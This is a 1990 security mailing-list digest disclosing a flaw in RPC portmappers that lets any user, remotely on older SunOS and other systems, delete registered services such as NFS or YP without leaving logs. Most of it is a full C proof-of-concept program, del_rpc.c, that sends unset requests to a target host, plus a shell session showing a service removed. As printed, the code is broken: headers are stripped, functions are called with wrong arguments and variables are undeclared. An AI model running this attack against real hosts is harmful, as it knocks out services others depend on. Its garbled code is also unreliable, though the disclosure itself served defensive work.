Date: Thu Dec 6 09:21:33 PST 1990 Subject: Core Security Digest V1 #6 Core Security Digest Volume 1 Issue 6 subject(s): Security problems with rcp portmapper The unix core security mailing list is by invitation only and contains sensitive material which SHOULD NOT BE REVEALED to non-members. DO NOT PUT ANY LIST CONTENTS IN LOCATIONS ACCESSABLE TO NON-MEMBERS. If you must keep copies on-line, please encrypt them at the very least. PLEASE POST TO: core@uninet.cpd.com PLEASE SEND EMERGENCY ALERTS TO: core-emergency@uninet.cpd.com PLEASE SEND REQUESTS TO: core-request@uninet.cpd.com ------------------------------------------------------------------------ Date: Wed, 05 Dec 90 16:02:29 -0800 From: shipley@remarque.berkeley.edu Subject: Security problems with rcp portmapper There is a security problem with most RPC portmapper where anyuser can delete services. this is done by connecting to the RPC portmapper and simply requesting the service be delete. Under SunOS 4.1 and greater this but be done from the localhost, but on SunOS 4.0.3 or less, and on other vendor platforms that use the portmapper, this can be done remotly! The problems this can cause range from deleting services such as rusersd rstatd to (fairly harmless) to effectivly disabling yp or NFS services. Under SunOS 4.1 a console warning/error message is generated and the request is denied if the attack is remote but on other system the attack if clean (meaning there are no trace logs of message to later trace!). The following code will demonstrate the problem. (Note that is will report failure but if you check the results with rpcinfo(8) you will see that the service has been deleted. I am not sure if this is a bug in my code of the portmapper's code). % rpcinfo -p | grep "rusersd" 100002 1 udp 1040 rusersd 100002 2 udp 1040 rusersd % ./del_rpc localhost 100002 2 Failure delete service % rpcinfo -p | grep "rusersd" 100002 1 udp 1040 rusersd % ./del_rpc localhost 100002 1 % rpcinto -p | grep "rusersd" % Needless to say but there are many other flaws in the RCP system and this is just an example. ==== cut here === static char *_cp_="Copyright Peter Shipley (HACKMAN) [1990]\n"; static char *_n_=" del_rpc.c \n"; /* * This program tests the existence of a hole * * The Return codes are: * 1 = security problem detected * 0 = no security problem detected * -1 = Insufficient data or error in detection * * compile with: /bin/cc del_rpc.c -o del_rpc */ #include #include #include #include #include #include #include #include #ifndef PMAPPROG #define PMAPPROG ((u_long) 100000) #define PMAPVERS ((u_long) 2) #endif int xdr_sfi(); static enum clnt_stat call_nullproc(), call_delete_map(); void exit(); /* SHUT LINT UP */ static char *USAGE = "bad arg count\nUsage: %s [ -v ] hostname program_number program_version\n"; /* ARGUSED */ main(ac, av) int ac; char *av[]; { CLIENT *client; enum clnt_stat clnt_stat; int result; int verbose; char *progname; char *rhost; u_long prog_num, prog_ver; verbose = result = 0; progname = av[0]; if (ac == 5 && av[1][0] == '-' && av[1][1] == 'v' ) { verbose++; ++av; --ac; } if( ac != 4) { (void) fprintf(stderr, USAGE, progname); exit(1); } rhost = av[1]; prog_num = atol(av[2]); prog_ver = atol(av[3]); /* establish a link since we will be using it more then once */ client = make_client(PMAPPROG, PMAPVERS); /* test it */ if(client == NULL) { (void) fprintf(stderr, "%s: error establishing connection with host %s\n", progname, rhost); clnt_pcreateerror("clntudp_create"); exit(-1); } /* call the null procedure, this will serve as sort of a ping */ clnt_stat = call_nullproc(client); /* test and report results */ if( clnt_stat != RPC_SUCCESS) { (void) fprintf(stderr, "%s: error calling nullproc with host %s\n", progname, rhost); clnt_perror(client, "rpc: nullproc"); exit(-1); } else if (verbose) (void) fputs("RPC: Success nullproc\n", stderr); /* call the hold file procedure, this will ask the selection server to open the file for reading. */ clnt_stat = call_delete_map(prog_num, prog_ver); /* test and report results */ if( clnt_stat != RPC_SUCCESS ) { (void) fprintf(stderr, "%s: error calling delete procedure with host %s\n", progname, rhost); clnt_perror(client, "rpc: delete procedure"); (void) fputs("RPC: failure delete procedure\n", stderr); /* exit(0); */ } else { if (verbose) (void) fputs("RPC: portmaper success\n", stdout); if(rslt) { (void) fputs("Success delete service\n", stdout); result = 1; } else { (void) fputs("Failure delete service\n", stderr); } } /* close our connection */ clnt_destroy(client); /* bye bye */ exit(result); } static enum clnt_stat call_delete_map(client, prog, ver) CLIENT *client; u_long prog; u_long ver; { struct pmap parms; bool_t rslt; /* set up request data */ parms.pm_prog = prog; parms.pm_vers = ver; parms.pm_port = parms.pm_prot = 0; /* make request and return result */ return(clnt_call(client, PMAPPROC_UNSET, xdr_pmap, (char *) &parms, /* data sent */ xdr_bool, (char *) &rslt, /* data returned */ tout)); } static CLIENT * make_client(host, serv, ver) char *host; u_long serv, ver; { CLIENT *client; int sock = RPC_ANYSOCK; struct hostent *hp; struct sockaddr_in server_addr; /* get address of remote host */ if ((hp = gethostbyname(host)) == NULL) { (void) fprintf(stderr, "Can't get address for %s\n", host); exit(-1); } /* set our connection timeout */ tout.tv_sec = 3; tout.tv_usec = 0; server_addr.sin_family = AF_INET; server_addr.sin_port = 0; /* create a client hookup using udp to selection_svc */ client = clntudp_create(&server_addr, serv, ver, tout, &sock); /* set the time out for calls (since tout is reused) */ tout.tv_sec = 20; /* return our referance hook for out client */ return(client); } static enum clnt_stat call_nullproc(client) CLIENT *client; { return (clnt_call(client, NULLPROC, xdr_void, (char *) NULL, /* data sent */ xdr_void, (char *) NULL, /* data returned */ tout)); } End of Core Security Digest Volume 1 Issue 6 **********************